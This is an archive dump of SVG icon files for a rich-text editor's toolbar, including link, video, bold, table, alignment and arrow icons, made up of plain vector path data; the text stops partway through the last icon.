<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <g> <g> <g> <path fill="#010202" d="M362.776-44.529c-15.135-25.854-51.752-32.912-77.83-18.056c-26.095,14.861-39.805,50.604-24.67,76.458 l75.941,122.108c15.125,25.838,53.354,31.993,79.43,17.132c26.094-14.858,38.19-49.702,23.064-75.543L362.776-44.529z"/> </g> </g> <g> <g> <path fill="#010202" d="M575.588,77.57c-15.126,25.841-3.029,60.685,23.064,75.543c26.075,14.861,64.305,8.707,79.43-17.132 l75.941-122.108c15.135-25.854,1.425-61.597-24.67-76.458c-26.078-14.856-62.695-7.798-77.83,18.056L575.588,77.57z"/> </g> </g> </g> <g> <g> <g> <path fill="#010202" d="M438.711,943.173c15.126-25.841,3.029-60.685-23.064-75.543c-26.075-14.861-64.305-8.706-79.43,17.132 l-75.941,122.108c-15.135,25.854-1.425,61.597,24.67,76.458c26.078,14.855,62.695,7.798,77.83-18.057L438.711,943.173z"/> </g> </g> <g> <g> <path fill="#010202" d="M651.524,1065.271c15.135,25.854,51.752,32.912,77.83,18.057c26.095-14.861,39.805-50.604,24.67-76.458 l-75.941-122.108c-15.125-25.838-53.354-31.993-79.43-17.132c-26.094,14.858-38.19,49.702-23.064,75.543L651.524,1065.271z"/> </g> </g> </g> <g> <g> <path fill="#010202" d="M823.22,222.293l-196.119,0.24c-37.265,0-67.438,29.933-67.556,66.596 c0,36.785,30.051,66.477,67.317,66.477l196.117-0.24c87.271-0.119,158.194,69.841,158.075,156.034 c-0.117,86.189-71.162,156.393-158.555,156.393l-196.119,0.24c-37.265,0-67.438,29.935-67.438,66.599 c0,36.784,30.054,66.475,67.318,66.475l196.115-0.241c161.685-0.239,293.315-130.188,293.555-289.706 C1116.293,351.76,984.903,222.053,823.22,222.293z M393.772,668.394l-192.749,0.241c-87.272,0.12-158.198-69.963-158.077-156.033 c0.119-86.192,71.284-156.396,158.556-156.515l192.753-0.24c37.265,0,67.437-29.932,67.437-66.596 c0-36.784-30.052-66.477-67.316-66.477l-192.752,0.242C39.941,223.255-91.691,353.202-91.931,512.721 S39.218,801.949,200.9,801.706l192.753-0.24c37.264,0,67.438-29.813,67.557-66.597 C461.209,698.085,431.037,668.394,393.772,668.394z"/> </g> </g> </svg> icons/link.svg000064400000003074151677272030007353 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <g> <g> <path fill="#010202" d="M823.22,222.293l-196.119,0.24c-37.265,0-67.438,29.933-67.556,66.596 c0,36.785,30.051,66.477,67.317,66.477l196.117-0.24c87.271-0.119,158.194,69.841,158.075,156.034 c-0.117,86.189-71.162,156.393-158.555,156.393l-196.119,0.24c-37.265,0-67.438,29.935-67.438,66.599 c0,36.784,30.054,66.475,67.318,66.475l196.115-0.241c161.685-0.239,293.315-130.188,293.555-289.706 C1116.293,351.76,984.903,222.053,823.22,222.293z M393.772,668.394l-192.749,0.241c-87.273,0.12-158.198-69.963-158.078-156.033 c0.12-86.192,71.284-156.396,158.556-156.515l192.752-0.24c37.265,0,67.437-29.932,67.437-66.596 c0-36.784-30.051-66.477-67.316-66.477l-192.751,0.242C39.941,223.255-91.691,353.202-91.931,512.721 S39.219,801.949,200.9,801.706l192.753-0.24c37.263,0,67.438-29.813,67.556-66.597 C461.209,698.085,431.038,668.394,393.772,668.394z M272.601,509.093c0,36.784,30.052,66.476,67.316,66.476l346.928-0.358 c37.266,0,67.439-29.934,67.558-66.598c0-36.784-30.051-66.478-67.316-66.478l-346.928,0.361 C302.895,442.496,272.72,472.308,272.601,509.093z"/> </g> </g> </svg> icons/video.svg000064400000001422151677272030007517 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <path d="M-70.443,728.622l284.268-120.036V416.415L-70.443,296.266V728.622z M962.801,200.673H329.249 c-39.146,0-71.374,31.489-71.374,69.789v484.301c0,38.076,32.118,69.564,71.374,69.564h633.552 c39.256,0,71.263-31.488,71.263-69.564V270.351C1034.064,232.162,1001.946,200.673,962.801,200.673z"/> </svg> icons/summernote.svg000064400000005212151677272030010610 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M1122.033,577.898 L1033.442,577.898 C1036.450,557.776 1038.159,535.279 1038.159,511.748 C1038.159,488.736 1036.511,467.226 1033.634,447.104 L1122.033,447.104 C1157.345,447.104 1186.090,477.189 1186.090,512.501 C1186.090,547.813 1157.345,577.898 1122.033,577.898 ZM929.167,191.898 C901.164,155.489 868.523,122.848 832.113,94.843 L894.837,32.120 C907.751,19.206 924.985,12.093 943.363,12.093 C961.743,12.093 978.976,19.206 991.891,32.120 C1004.807,45.035 1011.919,62.269 1011.919,80.647 C1011.919,99.027 1004.807,116.261 991.891,129.176 L929.167,191.898 ZM390.139,620.385 C386.505,631.404 392.589,637.487 403.607,633.891 L541.794,588.779 L900.676,229.788 C958.318,309.034 992.407,406.516 992.407,512.006 C992.407,777.325 777.324,992.408 512.005,992.408 C246.687,992.408 31.604,777.325 31.604,512.006 C31.604,246.688 246.687,31.605 512.005,31.605 C617.495,31.605 714.974,65.693 794.222,123.335 L435.195,482.236 L390.139,620.385 ZM446.682,-9.540 L446.682,-98.033 C446.682,-133.345 476.766,-162.090 512.078,-162.090 C547.391,-162.090 577.475,-133.345 577.475,-98.033 L577.475,-9.511 C557.353,-12.464 535.275,-14.147 511.965,-14.147 C488.733,-14.147 466.804,-12.474 446.682,-9.540 ZM98.494,187.254 L34.795,124.042 C9.819,99.066 9.262,60.328 34.238,35.352 C59.215,10.391 98.716,10.361 123.721,35.352 L186.790,98.859 C153.982,124.741 124.340,154.417 98.494,187.254 ZM-98.033,577.898 C-133.345,577.898 -162.090,547.813 -162.090,512.501 C-162.090,477.189 -133.345,447.104 -98.033,447.104 L-9.623,447.104 C-12.500,467.226 -14.148,488.736 -14.148,511.748 C-14.148,535.279 -12.439,557.776 -9.430,577.898 L-98.033,577.898 ZM99.092,837.519 C124.835,870.105 154.326,899.562 186.941,925.272 L123.721,988.996 C111.226,1001.477 97.056,1008.066 80.657,1008.066 C64.246,1008.066 47.847,1002.477 35.352,989.996 C10.376,965.020 10.376,925.709 35.352,900.732 L99.092,837.519 ZM577.475,1033.524 L577.475,1122.033 C577.475,1157.345 547.391,1186.090 512.078,1186.090 C476.766,1186.090 446.682,1157.345 446.682,1122.033 L446.682,1033.552 C466.804,1036.486 488.733,1038.160 511.965,1038.160 C535.275,1038.160 557.353,1036.477 577.475,1033.524 ZM925.024,837.387 L988.957,900.732 C1013.933,925.709 1014.225,963.686 989.249,988.663 C976.754,1001.144 960.943,1007.399 944.545,1007.399 C928.133,1007.399 912.907,1001.144 900.413,988.663 L837.302,925.090 C869.869,899.389 899.316,869.949 925.024,837.387 Z" class="cls-1"/> </svg> icons/align-center.svg000064400000001112151677272030010755 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M1005.873,135.999 L17.000,135.999 L17.000,286.464 L1005.873,286.464 L1005.873,135.999 ZM853.738,587.386 L853.738,436.925 L169.135,436.925 L169.135,587.386 L853.738,587.386 ZM17.434,737.787 L17.434,888.000 L1006.000,888.000 L1006.000,737.787 L17.434,737.787 Z" class="cls-1"/> </svg> icons/font.svg000064400000002066151677272030007364 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M573.459,743.967 L601.655,814.844 L611.052,837.039 C619.730,855.657 624.065,870.689 624.065,882.145 C624.065,895.035 618.759,905.661 608.164,914.005 C597.553,922.362 570.318,926.535 526.469,926.535 L526.469,1006.008 L1013.015,1006.008 L1013.015,926.535 C990.358,926.535 966.749,919.016 942.164,903.983 C917.585,888.947 890.112,844.201 859.751,769.742 L552.495,17.984 L467.908,17.984 L166.437,770.455 C124.505,874.518 72.691,926.535 11.003,926.535 L11.003,1006.008 L334.884,1006.008 L334.884,926.535 C298.738,926.535 272.712,921.880 256.806,912.575 C240.900,903.266 232.949,886.921 232.949,863.532 C232.949,849.694 239.691,825.830 253.189,791.937 L271.988,743.967 L573.459,743.967 ZM418.748,371.669 L540.929,661.633 L303.077,661.633 L418.748,371.669 Z" class="cls-1"/> </svg> icons/magic.svg000064400000001162151677272030007472 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill-rule: evenodd; } </style> </defs> <path class="cls-1" d="M849.684,129.609L904.511,183.9,1050.77,39.032l-54.827-54.3ZM991.24,487.441h219.79V410.647l-219.79.008v76.786ZM849.684,853.314L995.943,998.181l54.827-54.289L904.511,799.022ZM27.557,39.032L173.825,183.9l54.821-54.293L82.378-15.269Zm443.712,4.655h77.524l0.01-217.671H471.278ZM-132.579,944.281L50.885,1126,533.252,648.5l-183.46-181.7ZM404.619,412.5L588.073,594.215,772.047,411.989,588.588,230.279Z"/> </svg> icons/redo.svg000064400000000666151677272030007353 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill-rule: evenodd; } </style> </defs> <path id="Shape_29_copy_3" data-name="Shape 29 copy 3" class="cls-1" d="M1181.48,193.372V728.531H616.6L771.612,580.294s21.019-239-341.56-239S-79.66,648.131-79.66,648.131s147.134-482.4,546.5-482.4S1034.35,331.559,1034.35,331.559Z"/> </svg> icons/arrows-h.svg000064400000000501151677272030010150 0ustar00<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1792 896q0 26-19 45l-256 256q-19 19-45 19t-45-19-19-45v-128h-1024v128q0 26-19 45t-45 19-45-19l-256-256q-19-19-19-45t19-45l256-256q19-19 45-19t45 19 19 45v128h1024v-128q0-26 19-45t45-19 45 19l256 256q19 19 19 45z"/></svg>icons/picture.svg000064400000002603151677272030010066 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M1068.340,975.691 L-26.281,975.691 C-61.627,975.691 -90.281,947.037 -90.281,911.691 L-90.281,113.254 C-90.281,77.908 -61.627,49.254 -26.281,49.254 L1068.340,49.254 C1103.686,49.254 1132.340,77.908 1132.340,113.254 L1132.340,911.691 C1132.340,947.037 1103.686,975.691 1068.340,975.691 ZM1060.475,192.281 C1060.475,113.556 996.043,121.007 916.561,121.007 L125.033,121.007 C45.551,121.007 -18.881,113.556 -18.881,192.281 L-18.881,762.448 C-18.881,841.172 45.551,904.991 125.033,904.991 L916.561,904.991 C996.043,904.991 1060.475,841.172 1060.475,762.448 L1060.475,192.281 ZM820.368,440.468 C767.439,440.468 724.487,400.954 724.487,352.025 C724.487,303.139 767.439,263.554 820.368,263.554 C873.322,263.554 916.222,303.139 916.222,352.025 C916.222,400.954 873.322,440.468 820.368,440.468 ZM873.397,780.358 C918.029,846.441 885.494,832.253 801.185,832.253 L225.930,832.253 C141.522,832.253 101.661,842.771 137.427,772.270 L276.114,497.962 C311.786,427.437 379.266,422.747 426.053,487.463 L562.711,676.687 L600.888,601.377 C636.612,530.876 702.365,527.233 747.024,593.289 L873.397,780.358 Z" class="cls-1"/> </svg> icons/special-character.svg000064400000002451151677272030011766 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill-rule: evenodd; } </style> </defs> <path id="_" data-name="※" class="cls-1" d="M807.591,584.975q29.964,27.886,70.339,27.869,46.473,0,75.84-27.869t29.359-72.7q0-44.811-31.194-72.695-31.188-27.864-74-27.869-42.835,0-71.561,29.684-28.76,29.706-28.751,72.093Q777.618,557.11,807.591,584.975Zm-737.635,0q28.732,27.886,74.009,27.869,42.807,0,70.952-27.869,28.124-27.858,28.133-72.7,0-44.811-29.36-72.695-29.353-27.864-69.725-27.869-46.5,0-74.618,29.684Q41.188,471.106,41.21,513.493,41.21,557.11,69.956,584.975ZM422.872,180.3A111.5,111.5,0,0,0,445.5,212.407a103.872,103.872,0,0,0,72.783,29.684q45.243,0,73.4-29.684,28.131-29.677,28.138-72.093,0-43.617-30.582-72.695T518.286,38.541q-46.5,0-75.231,29.684-28.753,29.7-28.746,72.088A92.561,92.561,0,0,0,422.872,180.3ZM444.89,956.94q30.566,27.858,73.4,27.865,44.039,0,72.787-27.865,28.725-27.887,28.747-73.908,0-42.4-30.582-69.667T518.286,786.1q-46.5,0-75.231,28.471-28.753,28.484-28.746,69.667Q414.309,929.058,444.89,956.94ZM919.768,46.429L512.582,449.945,104.533,46.429,43.951,107.145,451.137,509.807,43.951,912.465l60.582,60.715L512.582,569.668,919.768,973.18l59.714-60.715L572.3,509.807,979.482,107.145Z"/> </svg> icons/arrow-circle-left.svg000064400000000721151677272030011733 0ustar00<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1408 960v-128q0-26-19-45t-45-19h-502l189-189q19-19 19-45t-19-45l-91-91q-18-18-45-18t-45 18l-362 362-91 91q-18 18-18 45t18 45l91 91 362 362q18 18 45 18t45-18l91-91q18-18 18-45t-18-45l-189-189h502q26 0 45-19t19-45zm256-64q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/></svg>icons/pencil.svg000064400000001300151677272030007656 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve"> <path d="M100.403,576.011l-127.892,470.479L452.19,927.81l599.3-599l-352.3-351.3L100.403,576.011z M873.281,328.811 L389.143,812.973l-145.086,31.801l-63.754-63.58l34.259-141.311l484.627-484.671L873.281,328.811z"/> </svg> icons/row-below.svg000064400000003516151677272030010334 0ustar00<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!-- Created with Inkscape (http://www.inkscape.org/) --> <svg id="svg3446" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" xmlns:osb="http://www.openswatchbook.org/uri/2009/osb" height="3.9522mm" width="3.9511mm" version="1.1" xmlns:cc="http://creativecommons.org/ns#" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 14 14.003805" xmlns:dc="http://purl.org/dc/elements/1.1/"> <metadata id="metadata3451"> <rdf:RDF> <cc:Work rdf:about=""> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/> <dc:title/> </cc:Work> </rdf:RDF> </metadata> <g id="layer1" transform="translate(745.96 126.95)"> <g id="g3610-5" transform="matrix(1 0 0 -1 -3506 69.446)"> <path id="path3400-4-4-5-6" d="m2771 186.43q0 0.264-0.1915 0.4658l-0.3882 0.3882q-0.1966 0.1965-0.4709 0.1965-0.2795 0-0.4658-0.1965l-1.5217-1.5164v3.6436q0 0.2691-0.194 0.4372-0.1941 0.1683-0.4684 0.1683h-0.6625q-0.2743 0-0.4684-0.1683-0.1941-0.1681-0.1941-0.4372v-3.6436l-1.5216 1.5164q-0.1863 0.1965-0.4658 0.1965t-0.4658-0.1965l-0.3882-0.3882q-0.1966-0.1967-0.1966-0.4658 0-0.2742 0.1966-0.471l3.3693-3.3692q0.1812-0.1916 0.4658-0.1916 0.2795 0 0.471 0.1916l3.3693 3.3692q0.1915 0.2019 0.1915 0.471z" stroke-width="0"/> <path id="polygon3366-49-8-3-0" style="image-rendering:optimizeQuality;shape-rendering:geometricPrecision" d="m2774 191.08c0-0.2901-0.1688-0.5229-0.3789-0.5229h-13.242c-0.21 0-0.3789 0.2328-0.3789 0.5229v4.7928c0 0.29 0.1689 0.5252 0.3789 0.5252h13.242c0.2101 0 0.3789-0.2352 0.3789-0.5252v-4.7928zm-1.1582 0.687v3.4211h-3.2168v-3.4211h3.2168zm-4.2852 0v3.4211h-3.2148v-3.4211h3.2148zm-4.2832 0v3.4211h-3.2148v-3.4211h3.2148z" fill-rule="evenodd" clip-rule="evenodd"/> </g> </g> </svg> icons/bold.svg000064400000003346151677272030007340 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M804.888,401.892 C843.584,366.065 862.937,322.286 862.937,270.577 C862.937,202.087 833.630,147.995 775.010,108.301 C716.386,68.614 606.469,48.762 445.268,48.762 L394.438,48.762 L36.535,58.970 L36.535,134.496 C87.370,134.496 120.343,142.439 135.459,158.309 C150.571,174.195 158.124,203.895 158.124,247.441 L158.124,788.361 C158.124,833.266 150.108,863.321 134.082,878.514 C118.046,893.714 85.535,901.307 36.535,901.307 L36.535,976.833 L524.958,976.833 C660.974,976.833 758.285,955.296 816.914,912.195 C875.529,869.106 904.841,810.134 904.841,735.289 C904.841,668.607 881.941,614.516 836.144,573.013 C790.348,531.511 721.651,502.590 630.063,486.260 C707.913,465.849 766.183,437.732 804.888,401.892 ZM401.996,129.054 C451.453,129.054 488.890,132.688 514.310,139.938 C539.725,147.200 560.219,163.306 575.793,188.245 C591.357,213.200 599.146,247.220 599.146,290.310 C599.146,347.918 586.786,388.401 562.055,411.757 C537.323,435.125 499.769,446.797 449.392,446.797 L401.996,446.797 L401.996,129.054 ZM446.646,529.810 C495.183,529.810 531.832,534.571 556.558,544.101 C581.289,553.623 600.751,572.107 614.951,599.551 C629.143,626.999 636.243,664.985 636.243,713.516 C636.243,774.307 625.359,819.893 603.614,850.274 C581.860,880.672 549.227,895.864 505.728,895.864 C477.784,895.864 456.148,891.442 440.805,882.597 C425.458,873.752 415.154,862.762 409.894,849.597 C404.624,836.448 401.996,817.172 401.996,791.764 L401.996,529.810 L446.646,529.810 Z" class="cls-1"/> </svg> icons/row-above.svg000064400000003513151677272030010315 0ustar00<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!-- Created with Inkscape (http://www.inkscape.org/) --> <svg id="svg3446" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" xmlns:osb="http://www.openswatchbook.org/uri/2009/osb" height="3.9522mm" width="3.9511mm" version="1.1" xmlns:cc="http://creativecommons.org/ns#" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 14 14.003805" xmlns:dc="http://purl.org/dc/elements/1.1/"> <metadata id="metadata3451"> <rdf:RDF> <cc:Work rdf:about=""> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/> <dc:title/> </cc:Work> </rdf:RDF> </metadata> <g id="layer1" transform="translate(758.78 133.09)"> <g id="g3610-8" transform="translate(-3518.8 -315.48)"> <path id="path3400-4-4-5-4" d="m2771 186.43q0 0.264-0.1915 0.4658l-0.3882 0.3882q-0.1966 0.1965-0.4709 0.1965-0.2795 0-0.4658-0.1965l-1.5217-1.5164v3.6436q0 0.2691-0.194 0.4372-0.1941 0.1683-0.4684 0.1683h-0.6625q-0.2743 0-0.4684-0.1683-0.1941-0.1681-0.1941-0.4372v-3.6436l-1.5216 1.5164q-0.1863 0.1965-0.4658 0.1965t-0.4658-0.1965l-0.3882-0.3882q-0.1966-0.1967-0.1966-0.4658 0-0.2742 0.1966-0.471l3.3693-3.3692q0.1812-0.1916 0.4658-0.1916 0.2795 0 0.471 0.1916l3.3693 3.3692q0.1915 0.2019 0.1915 0.471z" stroke-width="0"/> <path id="polygon3366-49-8-3-5" style="image-rendering:optimizeQuality;shape-rendering:geometricPrecision" d="m2774 191.08c0-0.2901-0.1688-0.5229-0.3789-0.5229h-13.242c-0.21 0-0.3789 0.2328-0.3789 0.5229v4.7928c0 0.29 0.1689 0.5252 0.3789 0.5252h13.242c0.2101 0 0.3789-0.2352 0.3789-0.5252v-4.7928zm-1.1582 0.687v3.4211h-3.2168v-3.4211h3.2168zm-4.2852 0v3.4211h-3.2148v-3.4211h3.2148zm-4.2832 0v3.4211h-3.2148v-3.4211h3.2148z" fill-rule="evenodd" clip-rule="evenodd"/> </g> </g> </svg> icons/arrow-circle-down.svg000064400000000730151677272030011750 0ustar00<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1412 897q0-27-18-45l-91-91q-18-18-45-18t-45 18l-189 189v-502q0-26-19-45t-45-19h-128q-26 0-45 19t-19 45v502l-189-189q-19-19-45-19t-45 19l-91 91q-18 18-18 45t18 45l362 362 91 91q18 18 45 18t45-18l91-91 362-362q18-18 18-45zm252-1q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/></svg>icons/table.svg000064400000002343151677272030007503 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M-73.241,975.691 L-73.241,49.254 L285.347,49.254 L358.022,49.254 L645.543,49.254 L718.150,49.254 L1076.738,49.254 L1076.738,975.691 L-73.241,975.691 ZM718.150,904.980 L1005.528,904.980 L1005.528,691.094 L718.150,691.094 L718.150,904.980 ZM1005.528,619.954 L1005.528,406.566 L718.150,406.566 L718.150,619.954 L1005.528,619.954 ZM358.022,904.980 L645.543,904.980 L645.543,691.094 L358.022,691.094 L358.022,904.980 ZM645.543,619.954 L645.543,406.566 L358.022,406.566 L358.022,619.954 L645.543,619.954 ZM-1.871,904.980 L285.347,904.980 L285.347,691.094 L-1.871,691.094 L-1.871,904.980 ZM285.347,619.954 L285.347,406.566 L-1.871,406.566 L-1.871,619.954 L285.347,619.954 ZM-1.871,120.996 L-1.871,335.391 L285.347,335.391 L285.347,120.996 L-1.871,120.996 ZM358.022,120.996 L358.022,335.391 L645.543,335.391 L645.543,120.996 L358.022,120.996 ZM718.150,120.996 L718.150,335.391 L1005.528,335.391 L1005.528,120.996 L718.150,120.996 Z" class="cls-1"/> </svg> icons/align-indent.svg000064400000001574151677272030010772 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M10.989,129.999 L10.989,283.817 L1013.000,283.817 L1013.000,129.999 L10.989,129.999 ZM473.108,588.303 L1012.999,588.303 L1012.999,436.108 L473.108,436.108 L473.108,588.303 L473.108,588.303 ZM473.108,892.792 L1012.999,892.792 L1012.999,740.550 L473.108,740.550 L473.108,892.792 L473.108,892.792 ZM47.458,439.405 C68.401,451.885 288.316,631.710 306.015,642.923 C321.884,652.994 322.166,676.965 306.015,687.013 C281.408,702.313 62.619,881.216 48.187,890.077 C30.201,901.151 11.992,887.071 11.992,868.146 L11.992,461.202 C11.995,440.356 32.119,430.242 47.458,439.405 Z" class="cls-1"/> </svg> icons/arrow-circle-right.svg000064400000000724151677272030012121 0ustar00<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1413 896q0-27-18-45l-91-91-362-362q-18-18-45-18t-45 18l-91 91q-18 18-18 45t18 45l189 189h-502q-26 0-45 19t-19 45v128q0 26 19 45t45 19h502l-189 189q-19 19-19 45t19 45l91 91q18 18 45 18t45-18l362-362 91-91q18-18 18-45zm251 0q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/></svg>icons/align-justify.svg000064400000001113151677272030011173 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M1005.873,135.999 L17.000,135.999 L17.000,286.464 L1005.873,286.464 L1005.873,135.999 ZM1005.873,436.925 L17.000,436.925 L17.000,587.386 L1005.873,587.386 L1005.873,436.925 ZM17.434,737.787 L17.434,888.000 L1006.000,888.000 L1006.000,737.787 L17.434,737.787 Z" class="cls-1"/> </svg> icons/strikethrough.svg000064400000004761151677272030011324 0ustar00<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024"> <defs> <style> .cls-1 { fill: #000; fill-rule: evenodd; } </style> </defs> <path d="M999.602,572.813 L23.826,572.813 C14.990,572.813 7.826,565.650 7.826,556.813 L7.826,446.566 C7.826,437.730 14.990,430.566 23.826,430.566 L222.008,430.566 C219.520,428.463 217.056,426.350 214.637,424.218 C161.037,373.796 134.249,315.121 134.249,248.206 C134.249,212.816 142.487,179.473 158.985,148.198 C175.469,116.922 198.139,90.014 227.007,67.465 C255.857,44.916 290.123,27.349 329.810,14.736 C369.487,2.130 412.255,-4.175 458.127,-4.175 C491.619,-4.175 521.375,-1.993 547.403,2.370 C573.418,6.734 600.862,13.042 629.726,21.281 C658.580,29.531 682.023,35.713 700.069,39.828 C718.101,43.951 732.269,57.144 742.582,57.144 C770.917,57.144 790.242,35.961 800.555,2.504 L870.333,2.504 L870.333,317.302 L803.645,317.302 C782.005,266.876 754.042,222.751 719.780,184.927 C685.500,147.107 647.625,117.903 606.150,97.287 C564.661,76.680 522.016,66.374 478.225,66.374 C431.325,66.374 393.836,77.172 365.756,98.741 C337.661,120.321 323.630,149.052 323.630,184.927 C323.630,217.908 337.793,247.730 366.142,274.390 C382.108,288.460 413.293,307.245 459.670,330.758 C506.051,354.284 550.361,376.340 592.624,396.944 C614.707,407.719 636.721,418.934 658.668,430.566 L999.602,430.566 C1008.439,430.566 1015.602,437.730 1015.602,446.566 L1015.602,556.813 C1015.602,565.650 1008.439,572.813 999.602,572.813 ZM270.294,825.703 C307.395,866.433 348.361,897.594 393.195,919.167 C438.029,940.747 484.660,951.529 533.103,951.529 C568.143,951.529 599.196,945.236 626.248,932.619 C653.301,920.017 674.295,902.800 689.246,880.980 C704.188,859.160 711.661,834.433 711.661,806.793 C711.661,762.675 693.110,723.150 656.009,688.240 C639.510,671.759 615.680,661.588 584.509,644.371 L894.856,644.371 C909.279,679.045 916.502,709.332 916.502,748.605 C916.502,800.496 901.815,847.885 872.442,890.797 C843.068,933.710 802.353,967.293 750.310,991.535 C698.257,1015.773 641.322,1027.902 579.485,1027.902 C537.222,1027.902 499.215,1023.775 465.468,1015.537 C431.712,1007.287 393.450,996.386 350.682,982.804 C307.900,969.238 279.301,962.441 264.883,962.441 C244.265,962.441 246.469,968.383 231.013,980.260 C215.552,992.149 205.503,1007.535 200.866,1026.445 L151.394,1026.445 L151.394,683.876 L200.866,683.876 C223.535,737.697 233.188,784.972 270.294,825.703 Z" class="cls-1"/> </svg> icons/arrows-v.svg000064400000000503151677272030010170 0ustar00<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1216 320q0 26-19 45t-45 19h-128v1024h128q26 